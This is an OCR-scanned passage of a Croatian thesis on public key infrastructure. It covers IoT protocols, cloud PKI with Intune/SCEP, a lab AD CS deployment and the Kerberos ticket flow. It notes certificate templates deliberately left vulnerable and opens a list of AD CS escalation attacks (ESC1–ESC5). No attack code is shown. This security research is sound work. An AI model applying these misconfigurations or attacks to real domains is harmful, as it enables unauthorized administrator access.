dinami¢nim IoT okruZenjima. PKI omogucuje IoT uredajima da koriste asimetricnu kriptografiju
za sigurnu razmjenu simetricnih kljuceva, nakon ¢ega se daljnja komunikacija obavlja brzim
simetri¢nim kriptografskim algoritmima, [16].

IoT uredaji su Cesto jednostavni senzori s resursima brojivim u desecima kilobajta. Kako bi
ti uredaji bili dio infrastrukture javnog kljuc¢a, moraju imati razvijene postupke za dobivanje prvog
certifikata i para kljuceva, te obnovu i provjeru certifikata. Navedene operacije nisu kompleksnih
struktura, no trenutni standardi infrastrukture javnog kljuca nisu dizajnirani za uredaje na baterije
s desecima kilobajta radne memorije, [17]. Nekoliko web protokola definirano je posljednjih
godina kako bi se omogucilo IPv6 umreZavanje na uredajima s ograni¢enim resursima. Ovi
protokoli obuhvacaju razliCite slojeve OSI modela i1 pruzaju razli¢ite funkcionalnosti, ovisno o
specificnim potrebama i zahtjevima IoT aplikacija. Neki od najpoznatijih protokola osmisljenih za
10T su, [17]:

o MQTT (engl. Message Queuing Telemetry Transport) je lagani protokol za
komunikaciju koji je dizajniran za pouzdanu razmjenu poruka izmedu IoT uredaja i
posluzitelja. Omogucuje slanje poruka u obliku publisher-subscriber modela, §to znaci
da uredaji mogu biti i izvori i primatelji podataka. Cesto se koristi u aplikacijama koje
zahtijevaju minimalnu potroS$nju energije i brz prijenos informacija, kao §to su
industrijska automatizacija, pametni ku¢anski uredaji 1 senzorske mreze,

o CoAP (engl. Constrained Application Protocol) je protokol namijenjen komunikaciji
izmedu uredaja s ograni¢enim resursima, kao $to su senzori i mikrokontroleri. Ovaj
protokol koristi REST arhitekturu (engl. Representational State Transfer) i ima sli¢nosti
s HTTP-om, ali je optimiziran za rad u mrezama s niskom propusnos¢u i visokim
kasnjenjem,

e BLE (engl. Bluetooth Low Energy) je bezi¢ni komunikacijski protokol koji je posebno
osmisljen za uredaje s niskom potroinjom energije. Cesto se koristi za povezivanje
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pametnih telefona s raznim IoT uredajima, poput pametnih satova, pametnih zvucnika,
zdravstvenih senzora i sl.;

o LoRaWAN (engl. Long Range Wide Area Networking) je protokol za bezi¢nu
komunikaciju koji koristi tehnologiju niskog raspona za prijenos podataka na velike
udaljenosti. Ovaj protokol omogucuje dugi doseg i nisku potros$nju energije, Sto ga ¢ini
prikladnim za aplikacije poput pametnih gradova, pracenja stoke i poljoprivrede.

PKI takoder omogucuje digitalno potpisivanje podataka koje Salje IoT uredaj. Kada IoT
uredaj digitalno potpiSe podatke, drugi uredaji mogu provjeriti vjerodostojnost tih podataka i
osigurati da nisu izmijenjeni tijekom prijenosa.

3.6. Usluge u oblaku

Infrastruktura javnog kljuca utemeljena na oblaku, takoder poznata kao PKIAAS (engl.
PKI-as-a-Service), predstavlja suvremenu alternativu tradicionalnim lokalnim  PKI
implementacijama. Ovaj pristup obuhvac¢a model u kojem je PKI smjesten i odrzavan unutar cloud
okruZenja te se korisnicima pruza kao usluga na zahtjev. Time korisnici ostvaruju sve prednosti
potpune PKI infrastrukture bez potrebe za upravljanjem troSkovima vezanim uz hosting,
odrzavanje 1 fiziCku infrastrukturu. Infrastrukturu u pozadini, ukljucujuéi odrzavanje, sigurnosne
aspekte 1 izradu sigurnosnih kopija, preuzima na sebe pruzatelj cloud PKI usluge, [18].

Glavne prednosti infrastrukture javnog kljuca temeljene na oblaku su, [18]:

e Jednostavnost implementacije - omogucava brzu i jednostavnu uspostavu cjelokupne
hijerarhije certifikacijskih tijela za izdavanje razli¢itih vrsta certifikata krajnjih entiteta,
uz minimalan napor i u kratem vremenskom roku. Ovaj pristup znacajno smanjuje
slozenost postavljanja 1 odrzavanja tradicionalno slozene PKI infrastrukture,
istovremeno povecavajuci operativnu ucinkovitost,

e Robustan, siguran i uskladen PKI - Pruzatelji cloud PKI usluga upravljaju postupkom
stvaranja korijenskog certifikacijskog tijela uz osiguravanje najvisih sigurnosnih
standarda. U odredenim slu¢ajevima, poduze¢ima je omogucéeno daljinsko postavljanje
korijenskog certifikata, ukljucujuci sigurnu izvedbu kljucnih procesa poput stvaranja
kljuceva. Kljucevi se generiraju i pohranjuju u napredne sigurnosne uredaje, kao $to su
hardverski sigurnosni moduli (engl. Hardware Security Module - HSM) koji
zadovoljavaju FIPS (engl. Federal Information Processing Standards) standarde. Osim
toga, automatizacija u PKI rjeSenjima temeljenim u oblaku omogucuje dosljednu
primjenu PKI politika za izdavanje 1 upravljanje certifikatima i kljuCevima, S$to
unapreduje sigurnost i osigurava uskladenost s relevantnim regulativama,

e Visoko dostupna i skalabilna infrastruktura - S obzirom na sve ve¢i broj digitalnih
certifikata potrebnih u suvremenim poslovnim okruzenjima, kao i na skra¢eni zivotni
vijek tih certifikata, PKI temeljen na oblaku nudi prilagodljivu infrastrukturu koja se
moze brzo skalirati prema potrebama, bez brige o prekidima u radu. Ova infrastruktura
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pruza neogranicen kapacitet, omogucujuc¢i poduze¢ima da prilagode svoje resurse u
skladu s poslovnim zahtjevima, dok pruzatelj PKI usluge preuzima odgovornost za
nadogradnju 1 odrzavanje infrastrukture. PKI temeljen na oblaku nudi se s
neogranienim kapacitetom i moze se povecati ili smanjiti ovisno o poslovnim
potrebama. Budu¢i da nadogradnjom infrastrukture u potpunosti upravlja pruzatelj PKI
usluga, poduzea ne moraju planirati redizajn infrastrukture kako bi postigla
skalabilnost,

e Smanjeni ukupni troSak vlasniStva - PKI temeljen na oblaku eliminira potrebu za
velikim kapitalnim ulaganjima u hardver i softver potreban za tradicionalni on-premise
PKI. Poduze¢a mogu koristiti ove usluge putem modela pretplate ili placanja po
koristenju, ¢ime se zna¢ajno smanjuju troSkovi. Osim toga, potreba za specijaliziranim
PKI osobljem i ekspertizom takoder je smanjena, ¢ime se dodatno snizava ukupni troSak
vlasnistva u usporedbi s tradicionalnim rjeSenjima.

Neke od negativnih karakteristika koriStenja PKIAAS usluge u cloud okruzenju su, [18]:

e (Ogranicene znacajke - Neki pruzatelji usluga u oblaku mogu ponuditi samo ogranicene
verzije s manje znacajki od onoga §to trazite,

e Podrska - Ovisno o pruzatelju usluga, podrska moze predstavljati problem. Neki
davatelji usluga nude ograni¢enu pomo¢ ili online podrSku s kojom se moze biti tesko
nositi,

e Prilagodba - moze biti ograni¢ena ovisno o odabranom pruzatelju usluga. Sama
kombinacija on-premise PKI komponente sa PKIAAS usluge moze biti zahtjevno, te
ukolikoo su moguénosti ogranicene, 1 neizvedivo.

U primjeru Microsoftovog Cloud PKI rjeSenja opisat ¢e se funkcionalnost SCEP (engl.
Simple Certificate Enrollment Protocol) servisa i Intune aplikacije, koji u kombinaciji sa Cloud
PKI modelom potpisuju, monitoriraju i obnavljaju krajnje certifikate, [19].

S obzirom na sve ve¢u podrsku organizacija za hibridne i udaljene radne okoline, pojavljuju
se izazovi vezani uz upravljanje raznovrsnim uredajima koji pristupaju organizacijskim resursima.
Zaposlenici 1 studenti trebaju moguénost sigurne suradnje, rada s razlicitih lokacija, te pristupa i
povezivanja s kljuénim resursima organizacije. Administratori su suoceni sa zadatkom zastite
organizacijskih podataka, upravljanja pristupom krajnjih korisnika, te pruzanja podrske
korisnicima bez obzira na njihovu fizicku lokaciju, [19].

Microsoft Intune, kao rjeSenje za upravljanje krajnjim tockama utemeljeno na oblaku, nudi
sveobuhvatne moguénosti za upravljanje pristupom organizacijskim resursima. Ovaj sustav
omogucuje centralizirano upravljanje aplikacijama i uredajima, ukljucujué¢i mobilne uredaje, stolna
racunala 1 virtualne krajnje tocke, ¢ime se znacajno pojednostavljuje administracija i povecava
sigurnost u hibridnim radnim okruzenjima, [19].

Kao rjeSenje temeljeno na oblaku, Microsoft Cloud PKI automatizira i pojednostavljuje
upravljanje zivotnim ciklusom certifikata za uredaje pod upravom Intune-a. Ova usluga pruza
namjensku infrastrukturu javnih kljueva za organizaciju, eliminiraju¢i potrebu za lokalnim
posluziteljima, konektorima ili hardverom. Microsoft Cloud PKI preuzima odgovornost za
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izdavanje, obnavljanje 1 opoziv certifikata na svim platformama koje su podrZzane unutar Intune
okruzenja, osiguravajuci cjelovitost 1 sigurnost upravljanja certifikatima u organizaciji, [19].

Cloud PKI pruza SCEP protokol koji djeluje kao usluga za registraciju certifikata. Ova
usluga u ime uredaja kojima upravlja Intune trazi certifikate od certifikacijskog tijela koristeci
SCEP profil. Na taj nac¢in, SCEP usluga automatizira proces izdavanja certifikata, omogucéujuci
sigurno upravljanje certifikatima za uredaje unutar organizacije, [19].

Slikom 3 je prikazan proces upisivanja uredaja na aplikaciju Intune, te uloge pojedinih
komponenti.

—Nadzor i pregled procesa izdavanja certifikata—————

Intune konzola

Cloud PKIl usluga

5. Potpisani certifikat

4. Zahtjev za izdavanjem certifikata

—

SCEP validacijski
servis

6. Dostavljanje potpisanog certifikata
prema uredaju upisanom u Intune

SCEP servis 3. Validacija zahtjieva—

2. Zahtjevanje certifikata

1. Prijava na Intune, te
preuzimanje pouzdanog
certifikata i SCEP profila

Uredaj

Slika 3. Proces upisivanja uredaja na aplikaciju Intune
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4. Implementacija infrastrukture javnog kljuca

U svrhu testiranja funkcionalnosti infrastrukture javnog kljuca podici ¢e se sustav u testnoj
okolini. Sustav ¢e sadrzavati dva servera u obliku dvoslojne hijerarhije infrastrukture javnog kljuca.
Korijenski server (engl. Root Server) koji izdaje glavni certifikat, takozvani korijenski certifikat se
smatra najve¢im autoritativnim tijelom, te se ne nalazi u domeni i veéinu je vremena ugasen. Zatim
¢e se podi¢i jo$S jedan server koji ima ulogu potpisivanja certifikata krajnjim uredajima i
korisnicima, takozvani izdavajuci server (engl. Issuing server). 1zdavajuci server je dio domene, te
se informacije o infrastrukturi javnog kljuca preslikavaju u aktivni direktorij upravo preko tog
servera. Izdavajuci server ¢e takoder imati instalirane dvije dodatne uloge, a to su uloga domenskog
kontrolora kako bi domena bila postojana, te uloga Web servera, kako bi se mogla objaviti lokacija
CRL repozitorija gdje krajnji uredaji mogu testirati valjanost certifikata.

4.1. Instalacija PKI komponente
Sama instalacija PKI komponente se odraduje kroz izbornik Server Manager. Prilikom
instalacije PKI komponente serveru bira se ADCS (engl. Active Directory Certificate Services)
komponenta §to je prikazano slikom 3.

"% Add Roles and Features Wizard

Active Directory Federation Services

Select server roles
Select one or more roles to install on the selected server
Roles
ik s B Active Directory Certificate Services (1 of 6 installe
Server Roles ctuve Directory Domain Services (Installed)

Active Directory Lightweight Directory Services
Active Directory Rights Management Services
Device Health Attestation

DHCP Server

Slika 4. Instalacija AD CS komponente

Nakon §to je komponenta instalirana potrebno je konfigurirati postavke certificirajuceg
tijela kako bi odgovarale potrebama organizaciji za koju se instalira. U ovom radu koristit ¢e se
osnovne postavke koje ne zahtijevaju specificnu konfiguraciju. Postoje¢u konfiguraciju je moguce
mijenjati alatom Command Prompt, te sve promjene su vidljive u uredniku registra na putanji koja
je kreirana za certificirajuce karakteristike prilikom instalacije komponente AD CS. Budu¢i da je
certificiraju¢em tijelu dano ime master-dc02-CA-1, lokacija u registru na kojoj su zabiljezene
postavke ADCS komponente je
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Computer\HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configurati
on\master-dc02-CA-1\

Postavke koje su uredivane nakon instalacije ADCS komponente su iduce, [20]:

DSConfigDN - daje informacije o tome gdje se nalazi konfiguracijska particija u
slucaju da su CRL-ovi ili CA certifikati objavljeni u aktivnom direktoriju,
CRLPeriodUnits — definira jedinicu kojom se utvrduje vrijednost CRL dokumenta
(npr. sati),

CRLPeriod - definira trajanje CRL dokumenta (npr. 10),

CRLOverlapPeriodUnits - definira jedinicu kojom se utvrduje moguénost
postojanja dvaju CRL dokumenata istovremeno (npr. sati),

CRLOverlapPeriod — definira vrijeme u kojem dva CRL dokumenta mogu postojati
istovremeno (npr. 5),

ValidityPeriodUnits — definira jedinicu maksimalne vrijednosti trajanja certifikata
(npr. godina),

ValidityPeriod — definira maksimalno trajanje certifikata (npr. 20 godina),
AuditFilter — definira koji su ADCS relevantni dogadaji zabiljeZeni u sigurnosnim
logovima,

CRLPublicationURLs — definira putanju CRL repozitorija ukoliko je CRL objavljen
na Web serveru.

Slikom 4 su prikazane postavke certificirajuceg tijela nakon odradenih promjena nad AD
CS komponentom.
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Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\master-dc02-CA-1

bfadfcoei A || Name Type Data
bfadi ab] CACertHash REG_MULTI_SZ 24758¢3¢6970fb 199 99C
BFE ab| CACertPublicationURLs REG_MULTI_SZ 1:C:\Windows\system32\Cer
::'T':ﬂt |ib\ CAServerName REG_SZ dc02.master.lab|
bowser ‘-’-'e'? CAType REG_DWORD 0x00000000 (0)
BrokeHitrastiictine ab] CAXchgCertHash REG_MULTI_SZ 2013 ef f@ ee 64 8efa 158d 4
BTAGService ab| CAXchgOverlapPeriod REG_SZ Days
BthAvctpSve $15| CAXchgOverlapPeriodUnits REG_DWORD 0x00000001 (1)
BthEnum ab] CAXchgValidityPeriod REG_SZ Weeks
BthLEEnum 5| CAXchgValidityPeriodUnits REG_DWORD 0x00000001 (1)
BthMini #5| CertEnrollCompatible REG_DWORD 0x00000000 (0)
BTHPORT $4) ClockSkewMinutes REG_DWORD 0x0000000a (10)
bthserv .‘Ib‘fCommonName REG_SZ master-dc02-CA-1 I
BTHUSB | CRLDeltaNextPublish REG_BINARY be 32 50 74 a5 cc da 01
bttfit ab) CRLDeltaOverlapPeriod REG_SZ Minutes
buttonconverter 15| CRLDeltaOverlapUnits REG_DWORD 0x00000000 (0)
bxfcoe ab] CRLDeltaPeriod REG_SZ Days
bxois £ CRLDeltaPeriodUnits REG_DWORD 0x00000001 (1)
FREE $%) CRLEditFlags REG_DWORD 0x00000100 (256)
Coplmg £%) CRLFlags REG_DWORD 0x00000002 (2)
E:z::::::z — £ CRI NextPublish REG_BINARY be b2 ca 72 5¢ d1 da 01
chidhsvc - ab| CRLOverlapPeriod REG_SZ Hours
Hihsic sT03e ﬁ?fCRLOverIapUnks REG_DWORD (0x00000000 (0)
< - ab| CRLPeriod REG_SZ Weeks
CDPSvc 45| CRLPeriodUnits REG_DWORD 0x00000001 (1)
CDPUserSvec ab| CRLPublicationURLs REG_MULTI_SZ 65:C:\Windows\system32\Ce
CDPUserSvc_a703e ab|DSConfigDN REG_SZ CN=Configuration,DC=mast
cdrom ab|DSDomainDN REG_SZ DC=master,DC=lab
) CertPropSvc ab| EKUOIDsForPublishExpiredCertinCRL REG_MULTI_SZ 1.3.6.1.5.5.7.3.3 1.3.6.1.4.1.311
v CertSvc ‘-‘-'e';'jEnabIed REG_DWORD 0x00000001 (1)
v | Configuration 15| EnforceX500Namelengths REG_DWORD 0x00000001 (1)
v master-dc02-CA-1 25| ForceTeletex REG_DWORD 0x00000012 (18)

Slika 5. Registry postavke certificirajuceg tijela

Instalacija AD CS komponente je identi¢na za vrsni i1 izdavajuci server. Jedina razlika na
koju je potrebno obratiti pozornost je te da je izdavajuci server dio domene, te je na njemu potrebno
definirati lokacije AD kontenjera s kojih ¢e krajnji uredaji povlaciti i provjeravati certifikate, [20].

Kako bi aktivni direktorij znao koji je server vrsni, a koji izdavajuéi, potrebno je prilikom
instalacije AD CS komponente definirati zasebno uloge servera. Nakon §to je navedeno odradeno,
jedina radnja koju je potrebno napraviti na vrSnom serveru je izdati certifikat s predloska
Subordinate Certification Authority, te s kreiranim certifikatom potpisati izdavajuéi server kako bi
izdavajuci server naknadno mogao potpisivati krajnje certifikate u ime vrsnog servera. Certifikat
koji je izdan u svrhu potpisivanja izdavajuceg servera je prikazan slikom 5, [20].
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s Certificate

g Certificate Information

This certificate is intended for the following purpose(s):

« All issuance policies
« All application policies

Issued to: master-dc02-CA-1

Issued by: master-dc02-CA-1

Valid from 1/16/2024 to 1/16/2044

Slika 6. Korijenski certifikat

Nakon $§to je navedeno odradeno, korijenski server je po najboljoj praksi potrebno ugasiti,
te ga paliti jednom mjesecno prilikom instalacije sigurnosnih zakrpi, jednom u 6 mjeseci prilikom
obnove CRL liste, te jednom u 20 godina prilikom obnove korijenskog certifikata (ovisno o
definiranim trajanjima CRL liste i certifikata), [20].

Sve funkcionalnosti naknadno definirane u radu biti ¢e prikazane i odradene na
izdavajuc¢em serveru budu¢i da je veéina konfiguracije podesiva upravo na tom serveru.

4.2.  Certifikati

Dok je u treCem poglavlju objasnjeno na koji se nacin certifikati mogu koristiti, ovaj
odlomak ¢e se viSe fokusirati na konfiguraciju certifikata, na koji nac¢in se sve certifikat moze izdati
te koje je sve funkcionalnosti moguée dodati certifikatu. Prvenstveno, certifikati se izdaju na
temelju predloSka koji se konfigurira na izdavaju¢em serveru. Prilikom otvaranja mmc snap-in
alata (engl. Microsoft management center) moguce je pregledati koje sve certifikate racunalo ili
trenutno autenticirani korisnik posjeduju. Dodatno, uz same krajnje certifikate iz konzole je
moguce vidjeti kojim izdavaju¢im i korijenskim certifikatima racunalo vjeruje, tj. ima instalirane
unutar svog racunala i smatra pouzdanima. Konzola je prikazana slikom 6 gdje su vidljivi
predefinirani folderi koji pohranjuju certifikate razli¢itih funkcionalnosti 1 povjerenja, [21].
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Console Root
v Gl Certificates (Local Computer)
v | Personal
| Certificates
v | Trusted Root Certification Authorities
| Certificates
| Enterprise Trust
v || Intermediate Certification Authorities
. Certificate Revocation List
| Certificates
| Trusted Publishers
| Untrusted Certificates
| Third-Party Root Certification Authorities
| Trusted People
Client Authentication Issuers
Preview Build Roots
| Test Roots
_ Remote Desktop
| Certificate Enrollment Requests
| Runtime_Transport_Store_D2E68232-6F4D-4523-941B-FOE9550F2583
| Smart Card Trusted Roots
| Trusted Devices
| Windows Azure Environment
| Windows Live ID Token Issuer
WindowsServerUpdateServices

L

L

Slika 7. Konzola za pristup certifikatima iz perspektive korisnika

Tri su glavna foldera za lokalnu pohranu certifikata, a to su, [21]:

Osobni (engl. Personal) — sluzi za pohranu krajnjih certifikata od korisnika,
Korijenski certifikati (engl. Trusted Root Certification Authorities) — sluzi za
pohranu korijenskih certifikata kojima raunalo vjeruje,

Izdavajuc¢i certifikati (engl. Intermediate Certification Authorities) — sadrzi
certifikate koji se nalaze u sredini certificirajueg lanca; potpisani su od strane
korijenskih certifikata, a izdali su krajnji certifikat.

Iz perspektive administratora PKI komponente konzola koja sluzi za pregled stanja izdanih
certifikata naziva se tijelo za izdavanje certifikata (engl. Certification Authority - CA). Konzola
sadrzi informacije o stanju zahtjeva certifikata i informacije o izdanim certifikatima, [20]. Podjela

je iduca, [22]:

Povuceni certifikati — certifikati koji su iz odredenih razloga povuceni iz uporabe te
se nalaze na CRL listi,

Izdani certifikati — svi certifikati koji su izdani od certificirajuceg tijela,

Zahtjevi na ¢ekanju — NajceSce se radi o zahtjevima koji trazi izdavanje certifikata,
no certifikat nije izdan prije dodatnog pregleda i odobrenja administratora PKI
komponente,
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e Neuspjesni zahtjevi — Zahtjevi koji su iz odredenih razloga (npr. korisnik nema
pravo zatraziti certifikat s odredenog predloska) nepravilno izvedeni,

e Predlosci certifikata — Lokacija koja pokazuje s kojih sve predlozaka je moguce
zatraziti certifikat, te osnovne informacije o samim predloScima.

Slikom 7 je prikazana konzola za pristup certifikatima iz perspektive administratora PKI
komponente. Samo odredeni racuni u domeni imaju pravo pristupiti navedenoj konzoli. NajceSce
su prava definirana ¢lanstvom u grupi u aktivnom direktoriju, no prava takoder mogu biti direktno
dodijeljena racunu, [22].

;QJ Certification Authority (Local)
v @i master-dc02-CA-1

| Revoked Certificates

| Issued Certificates

| Pending Requests

| Failed Requests

| Certificate Templates

Slika 8. Konzola za pristup certifikatima iz perspektive administratora

Lokacija gdje se definiraju postavke certifikata je zapravo mjesto gdje se konfiguriraju
predlosci certifikata, budu¢i da se certifikati izdaju na temelju predlosSka. Konzolu za pregled
predlozaka je takoder moguce pokrenuti kroz mmc snap-in te je prikazana slikom 8, [22].

Iz slike ispod je moguce vidjeti predloske certifikata koji su definirani na certificiraju¢em
tijelu. Osim imena i funkcionalnosti predlozaka moguce je i$¢itati verziju sheme predloska. Verzija
prikazuje radi li se o predlosku koji je modificiran ( Schema Version 2/3) ili je predefiniran, tj.
inicijalno kreiran prilikom kreacije PKI komponente (Schema Version I). Predlosci koji su na slici
modificirani ¢e se u naknadnom poglavlju koristiti za kreaciju certifikata nad kojima je moguce
ostvariti administratorska prava jer su konfigurirani da budu ranjivi na odredene napade nad PKI
komponentom, [22].
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3 Certificate Templates|| Template Display Name Schema Version Version Intended Purposes
12| Workstation Authentication 2 101.0  Client Authentication
@ Web Server_v4 2 100.9 Any Purpose, Client Authentication, KDC A...
@ Web Server_v3 2 100.5 Server Authentication, Client Authentication
& Web Server_v2 2 100.3  Server Authentication
2] Web Server_v 2 100.7  Server Authentication, KDC Authentication...
2] Web Server 1 4.1
i@ User Signature Only 1 41
1@ User 1 31
1@ Trust List Signing 1 3.1
1@ Subordinate Certification Authority 1 5.1
1% Smartcard User 1 1.1
& Smartcard Logon 1 6.1
12 Router (Offline request) 1 4.1
12 Root Certification Authority 1 5.1
18] RAS and IAS Server 2 101.0 Client Authentication, Server Authentication
& ocsp Response Signing 3 101.0  OCSP Signing
13 Key Recovery Agent 2 1050  Key Recovery Agent
@ Kerberos Authentication 2 110.0 Client Authentication, Server Authenticatio...
12 IPSec (Offline request) 1 73

Slika 9. Konzola za konfiguraciju predlozaka certifikata

U svrhu prikazivanja moguénosti definiranja sigurnosnih mjera i prava nad predloScima
kao primjer uzet ¢e se predlozak WebServer v3. Slikom 9 su prikazane postavke uredivanja
predloska nad kojima je moguce konfigurirati iduce znacajke:

=== Prava izdavanja s Prava automatskog
Prava ienania " predioska (engl.  izdavanja s predioska (engl. .
predioska (engl. "2y Rignts) Autoenroll Rights) Pohrana certfikata u bazu podataka
Write Rights) izdavajuceg servera
Prava Gitanja Informacile o list
predloska (engl. opozvanih certifikata
Read Rights)
Puna kontrola nad Autentikacija servera A““(';?:‘:I‘:gi:?:ma Bilo koja svrha
redloSkom (engl. . (engl. Server AL (engl. Any
AGHGTEIKD p o tr(ol)g b smq;most_ (engl. Authentication) Authentication) Pumpose)
popunjavanje Koristeéi ecurity)
informacije iz aktivnog o
direktorija Potpisivanje koda : Autorizacija
(engl. Code L Politike primjene 5 pametnom
Ime Subjekta Signing) (engl. Appiication Karticom (engl.
Ruéni unos prilikom (engl. Subject Name) Policies) Smart Card Logon)
kreacije zahtjeva = Postavke /
WebServer_v3 —
- / predioska | Ekstenzie KDC Autentikacija (engl. Key
Prikaz inacice Windows Kompatibilnost (engl. Extensions) Distribution Center
servera koja je / Authentication)
definirana kao najranija / \ N e
inacica koju ¢e sustav
: Zahtjevi prilikom = objekta (engl.
Podrzavall izdavanja certifikata Zamjenjeni prediosci Detalji o prediosku  — > Opject Identifier
(engl. Issuance (engl. Superseded ~oID)
Podegavanje <« |__ Requirements) Templates) ~ )
dodatnog odobrenja v / Tip Subjekta (engl.
PKI administratora Subject Type)

Definiranje broja
autoriziranih potpisa
nad predloskom

Definiranje ostalih predioZaka koji mogu biti Verzija predioska
zamjenjeni predioskom WebServer_v3

Slika 10. Postavke WebServer v3 predloska
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Sucelje koje je dodatno vazno napomenuti, osim sucelja za pregled izdanih certifikata 1
uredivanja predloska, je sucelje za pregled zdravlja PKI komponente. U navedenom sucelju je
vidljivo stanje i vrijeme isteka glavnih certifikata (korijenskog i izdavajuceg certifikata), stanje 1
vrijeme isteka liste opozvanih certifikata te stanje Web lokacije nad kojim se certifikat moze

validirati, tj provjeriti je li 1 dalje valjan. Slikom 10 prikazano je navedeno sucelje, [22].

3 Enterprise PKI Name Status Expiration Date
il mastecdc2:CAI(VO.0) 50 CA Certificate OK  1/16/204411:03 AM
W AIA Location #1 OK 1/16/2044 11:03 AM
%] CDP Location #1 oK 7/9/2024 5:39 AM

%] DeltaCRL Location #1  OK 7/4/2024 5:39 AM

Slika 11. Sucelje za pregled zdravlja PKI komponente

Osim pregleda zdravlja klju¢nih PKI komponenti, u sucelju je takoder moguce vidjeti
informacije koje su objavljene u aktivnom direktoriju, te ih dodatno dodavati ili brisati. Informacije
pohranjene u aktivnom direktoriju se nalaze u takozvanim kontejnerima, te su podijeljene u iduce
kontejnere), [23]:

Kontejner certificirajuc¢eg autoriteta (engl. Certification Authorities Container),
Kontejner servisa za izdavanje certifikata (engl. Enrollment Services Container),
Kontejner NTAuth Certificates,

AIA kontejner (engl. Authority Information Access Cointainer),

CDP kontejner (engl. Certificate Revocation List Distribution Point Cointainer),
KRA kontejner (engl. Key Recovery Agent Cointainer).

Slikom 11 je prikazano sucelje u kojem je moguce uredivati sadrzaj pojedinih kontejnera.
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Manage AD Containers

Certification Authorities Container I Enrollment Services Container
NTAuthCertfficates AIA Container | CDP Container |  KRA Container
Name l Type I Status ]
(e master-dc02-CA AIA Certficate ~ OK
(¥ master-dc02-CA-1 AlA Cettficate  OK

Slika 12. Sucelje za uredivanje PKI kontejnera u aktivnom direktoriju

4.3.  Mrezne karakteristike PKI komponente
Kao §to je ve¢ spomenuto u radu, korijenski server je po najboljoj praksi izoliran od pristupa
Internetu, izvan domene, te vecinu vremena ugasen osim u situacijama u kojoj je potrebno
instalirati mjesecne zakrpe, obnoviti CRL listu ili obnoviti korijenski certifikat. Izdavajuéi server
je u drugu ruku definiran pravilima koje se moraju postivati kako bi PKI komponenta mogla u
potpunosti ispuniti funkcionalnost. Neki od glavnih karakteristika izdavajuceg certifikata su iduce,
[24]:

e Nalazi se u domeni,
e Staticka IP adresa,
e Otvoren port 135 prema svim uredajima u domeni u oba smjera (bidirekcionalno),
o Port 135 podrzava RPC protokol (engl. Remote Procedure Call) koji
omogucuje jednom programu da trazi uslugu od drugog programa na
drugom racunalu u mrezi, bez potrebe za poznavanjem pojedinosti o mrezi.
Olaksava pokretanje koda na razliitim sustavima, u ovom slucaju
omogucuje zahtijevanje i prijenos certifikata,
o Omogucuje transparentnost i neovisnost prilikom izdavanja certifikata
krajnjem uredaju.
e Podesena lokacija na Web Serveru koja objavljuje CRL listu opozvanih certifikata,
o Nuzno je da je CRL lokacija dostupna svima, tj pristupa joj se putem HTTP
procesa preko porta 80,
o Nije nuzno da CRL lokacija bude podeSena na izdavaju¢em serveru, no u
ovom radu je konfigurirano tako.
e Otvoren port 445 prema domenskim kontrolorima,
o Nuzno je zbog razmjene certifikata izdanog s predloska Kerberos
Authentication Template, o kojem ¢e se detaljnije pisati u tekstu ispod.

Kerberos dolazi od grcke rijeci Cerberus koja predstavlja troglavog psa koji je ¢uvao ulaz
u Had. Kerberos osigurava mreZzu na principu trostruke provjere ili vjerovanja, te je osnovni
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autentikacijski i autorizacijski protokol arhitekture Microsoft Windows jo$ od Windows Server
2000 verzije. Protokol daje pristup mreznim aplikacijama 1 servisima na temelju KRBTGT
ulaznice. U samom nazivu KRBTGT, KRB predstavlja Kerberos, dok TGT oznacava pojam Ticket-
Granting Ticket kojem je funkcionalnost trazenje ulaznice od domenskog kontrolora u svrhu
pristupa mreznim aplikacijama i servisima. Slikom 12 je prikazan tijek komunikacijskog procesa
prilikom zahtijevanja i izdavanja TGT ulaznice, [25].

Domenski
kontroler
,\///f \\:\
9 =,
A QA ) (a]
P2 A &O ‘70 %4
’Q\\e?‘ N1 2 %, %
? & 3 S %
Y& & & %, *
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5. AP REQ (Prikaz TGS za pristup)———>»

6. AP REP (opcionalno; koristeno ukoliko je potrebna
obostrana autentikacija)

Korisni¢ko Aplikacijski
raunalo server

Slika 13. Tijek komunikacijskog procesa Kerberos servisa, [25]

Na domenskom kontroloru se nalazi treca strana kojoj se vjeruje nazvana Centar za
distribuciju kljuceva - KDC. Lozinka se pretvara u NTLM (engl. New Technology LAN Manager)
hash, vremenska oznaka Sifrirana je hash-om i poslana KDC-u kao autentifikator u zahtjevu za
autentifikacijsku kartu (TGT) (AS-REQ). Zatim KDC provjerava korisnicke podatke (ograni¢enja
prijave, ¢lanstvo u grupi, itd.) i stvara TGT koji vraca korisniku (AS REP). Korisnik Salje TGT
(TGS REQ) prema domenskom kontroloru koji sadrzi KDC stranu, te ujedno Salje 1 zahtjev za
onim ¢emu korisnik zeli pristupiti. KDC server dekriptira TGT tajnim kljucem, te se Sifrirani token
(engl. Ticket-Granting Service - TGS) $alje nazad korisniku (TGS REP). Aplikacijski posluzitelj
zaprima TGS od korisnika (AP REQ) i provjerava token s KRBTGT lozinkom koja je dijeljena
kao hash vrijednost, te ukoliko je token validan odobrava se pristup resursima korisniku (AP REP)
na odredeno vrijeme poznato pod nazivom TTL (engl. Time to Leave), [25].

Nakon $§to korisnik poSalje AP REQ aplikacijskom serveru, u rijetkim slucajevima
aplikacijski server proslijeduje AP REQ prema domenskom kontroloru i zatrazuje verifikaciju PAC
(engl. Privileged Attribute Certificate) potpisa. Domenski kontroler provjerava PAC potpis

26



korisnika, te ukoliko je PAC provjera uspjesna, javlja aplikacijskom serveru da korisnik ima prava
pristupanja servisima i uslugama, [25].

Upravo proces dodjele ulaznice opisan iznad, u kombinaciji s ranjivim predloScima,
omogucuje zloupotrebu certifikata predstavljajuci obi¢nog ¢lana domene kao administratorskog
racuna. U idu¢em poglavlju je pokusano izvesti zloupotrebu KRBTGT ulaznica kako bi se ostvario
administratorski pristup sustavu.
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5. IstraZivanje sigurnosnih izazova
Poglavlje 5 obuhvaca ostvarivanje administrativnog pristupa domeni koriste¢i obi¢nog
korisnika ,,vultest* koji je kreiran u domeni master.lab. Sveukupno je op¢epoznato 13 napada na
infrastrukturu javnog kljuca, [26]:

e ESCI - pogresna konfiguracija predloska certifikata,

e ESC2 - pogresna konfiguracija predloska certifikata,

e ESC3 - pogresna konfiguracija predloska agenta za izdavanje certifikata,
e ESC4 - kontrola pristupa ranjivom predlosku certifikata,
e ESCS - Ranjiva kontrola pristupa objektu PKI,

